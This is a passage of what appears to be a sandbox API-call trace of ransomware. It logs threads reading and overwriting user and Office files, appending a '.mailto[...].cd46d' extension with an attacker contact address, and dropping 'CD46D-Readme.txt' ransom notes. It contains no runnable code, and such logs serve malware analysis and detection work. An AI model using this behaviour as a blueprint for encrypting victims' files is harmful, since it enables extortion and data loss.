lpBuffer=0x134d5830, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0xf5af738, lpOverlapped=0x0) [0193.293] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.294] WriteFile (in: hFile=0x750, lpBuffer=0x10e4e810*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xf5af734, lpOverlapped=0x0 | out: lpBuffer=0x10e4e810*, lpNumberOfBytesWritten=0xf5af734*=0x100, lpOverlapped=0x0) returned 1 [0197.524] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed58 [0197.524] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed30 [0197.524] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed30) returned 1 [0197.524] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e4e810) returned 1 [0197.529] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134d5830) returned 1 [0197.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e90e8) returned 1 [0197.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9c78) returned 1 [0197.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f69f0 [0197.541] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.541] WriteFile (in: hFile=0x750, lpBuffer=0x12cf6ad0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xf5af79c, lpOverlapped=0x0 | out: lpBuffer=0x12cf6ad0*, lpNumberOfBytesWritten=0xf5af79c*=0x10b, lpOverlapped=0x0) returned 1 [0197.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6ad0) returned 1 [0197.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a20) returned 1 [0197.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed30) returned 1 [0197.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f69f0) returned 1 [0197.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed58) returned 1 [0197.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938040) returned 1 [0197.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9380b8) returned 1 [0197.763] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938090) returned 1 [0197.763] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd495138 [0197.763] wcscpy (in: _Dest=0xd495138, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" [0197.763] wcscat (in: _Dest=0xd495138, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.763] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf5af754, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.763] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8878 [0197.940] FlushFileBuffers (hFile=0x750) returned 1 [0197.946] CloseHandle (hObject=0x750) returned 1 [0197.999] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b7288 [0197.999] wcscpy (in: _Dest=0x9b7288, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\" [0197.999] wcscat (in: _Dest=0x9b7288, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\CD46D-Readme.txt" [0197.999] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\cd46d-readme.txt")) returned 0xffffffff [0197.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0198.134] WriteFile (in: hFile=0x1094, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xf5af75c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xf5af75c*=0x6fd, lpOverlapped=0x0) returned 1 [0198.135] CloseHandle (hObject=0x1094) returned 1 [0198.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b7288) returned 1 [0198.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13390f28) returned 1 Thread: id = 8069 os_tid = 0x768 [0188.505] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json")) returned 0x2020 [0188.505] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json", dwFileAttributes=0x20) returned 1 [0191.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc1c [0191.294] GetFileSizeEx (in: hFile=0xc1c, lpFileSize=0x637fb74 | out: lpFileSize=0x637fb74*=253) returned 1 [0191.294] SetFilePointerEx (in: hFile=0xc1c, liDistanceToMove=0xf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.294] ReadFile (in: hFile=0xc1c, lpBuffer=0x637faf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x637faf4, lpOverlapped=0x0 | out: lpBuffer=0x637faf8*, lpNumberOfBytesRead=0x637faf4*=0x4, lpOverlapped=0x0) returned 1 [0191.295] SetFilePointerEx (in: hFile=0xc1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909398 [0191.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b70 [0191.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98f0 [0191.295] NtQuerySystemTime (in: CurrentTime=0x637fad4 | out: CurrentTime=0x637fad4*=132174899658886000) returned 0x0 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x2c85781e [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x82f66c [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x1fbbdcd0 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x2d4ce341 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x47152b2f [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x32c9665c [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x4a45ef5d [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x6fe5610d [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x2fc1d5b [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0xb9bd4fe [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x3672c03 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x62322b0d [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x1b6dce01 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x47861a2b [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x7045379a [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x2541ce1e [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x46a7cd1a [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x454cf886 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x668f34 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x61473328 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x1cd41cd [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x4669a3e6 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x69e761f8 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x22ce9c1 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x36f8bd85 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x4333051a [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x1b6febb7 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x3527d509 [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x7e85ec3b [0191.296] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x5e74b3f9 [0191.297] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x1a95638c [0191.297] RtlRandomEx (in: Seed=0x637fae0 | out: Seed=0x637fae0) returned 0x7967718 [0191.310] ReadFile (hFile=0xc1c, lpBuffer=0x135551b8, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x637fad0, lpOverlapped=0x0) [0191.310] SetFilePointerEx (in: hFile=0xc1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.310] WriteFile (in: hFile=0xc1c, lpBuffer=0x135619c0*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x637facc, lpOverlapped=0x0 | out: lpBuffer=0x135619c0*, lpNumberOfBytesWritten=0x637facc*=0xfd, lpOverlapped=0x0) returned 1 [0192.371] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee98 [0192.371] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeee8 [0192.371] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeee8) returned 1 [0192.371] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x135619c0) returned 1 [0192.373] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x135551b8) returned 1 [0192.373] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8faa88) returned 1 [0192.373] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9570) returned 1 [0192.373] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f68a0 [0192.373] SetFilePointerEx (in: hFile=0xc1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.373] WriteFile (in: hFile=0xc1c, lpBuffer=0x12cf6670*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x637fb34, lpOverlapped=0x0 | out: lpBuffer=0x12cf6670*, lpNumberOfBytesWritten=0x637fb34*=0x10b, lpOverlapped=0x0) returned 1 [0192.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6670) returned 1 [0192.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f68d0) returned 1 [0192.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeee8) returned 1 [0192.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f68a0) returned 1 [0192.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0192.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b70) returned 1 [0192.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93df78) returned 1 [0192.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fa0) returned 1 [0192.650] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf8b08 [0192.650] wcscpy (in: _Dest=0x12cf8b08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" [0192.650] wcscat (in: _Dest=0x12cf8b08, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.651] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x637faec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.651] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x93d7f0 Thread: id = 8070 os_tid = 0x70c [0188.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cubicl_m.vss")) returned 0x20 [0194.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_M.VSS", dwFileAttributes=0x20) returned 0 [0194.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cubicl_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.033] GetLastError () returned 0x5 [0194.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_M.VSS", dwFileAttributes=0x20) returned 0 [0194.033] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad168) returned 1 Thread: id = 8071 os_tid = 0x704 [0188.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cubicl_u.vss")) returned 0x20 [0194.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_U.VSS", dwFileAttributes=0x20) returned 0 [0194.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cubicl_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.034] GetLastError () returned 0x5 [0194.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_U.VSS", dwFileAttributes=0x20) returned 0 [0194.034] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae108) returned 1 Thread: id = 8072 os_tid = 0x744 [0188.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_m.vss")) returned 0x20 [0194.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VSS", dwFileAttributes=0x20) returned 0 [0194.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.047] GetLastError () returned 0x5 [0194.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VSS", dwFileAttributes=0x20) returned 0 [0194.047] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae4c8) returned 1 Thread: id = 8073 os_tid = 0x930 [0188.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_m.vst")) returned 0x20 [0194.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VST", dwFileAttributes=0x20) returned 0 [0194.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.048] GetLastError () returned 0x5 [0194.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VST", dwFileAttributes=0x20) returned 0 [0194.048] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad5c8) returned 1 Thread: id = 8074 os_tid = 0xa40 [0188.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_u.vss")) returned 0x20 [0194.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VSS", dwFileAttributes=0x20) returned 0 [0194.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.049] GetLastError () returned 0x5 [0194.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VSS", dwFileAttributes=0x20) returned 0 [0194.049] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad348) returned 1 Thread: id = 8075 os_tid = 0xa44 [0188.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_u.vst")) returned 0x20 [0194.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VST", dwFileAttributes=0x20) returned 0 [0194.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.051] GetLastError () returned 0x5 [0194.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VST", dwFileAttributes=0x20) returned 0 [0194.051] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad668) returned 1 Thread: id = 8076 os_tid = 0x93c [0188.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATMOD_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datmod_m.vst")) returned 0x20 [0194.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATMOD_M.VST", dwFileAttributes=0x20) returned 0 [0194.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATMOD_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datmod_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.036] GetLastError () returned 0x5 [0194.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATMOD_M.VST", dwFileAttributes=0x20) returned 0 [0194.037] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae888) returned 1 Thread: id = 8094 os_tid = 0xb7c [0189.209] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0189.210] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json", dwFileAttributes=0x20) returned 1 [0193.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1420 [0193.295] GetFileSizeEx (in: hFile=0x1420, lpFileSize=0x798ff00 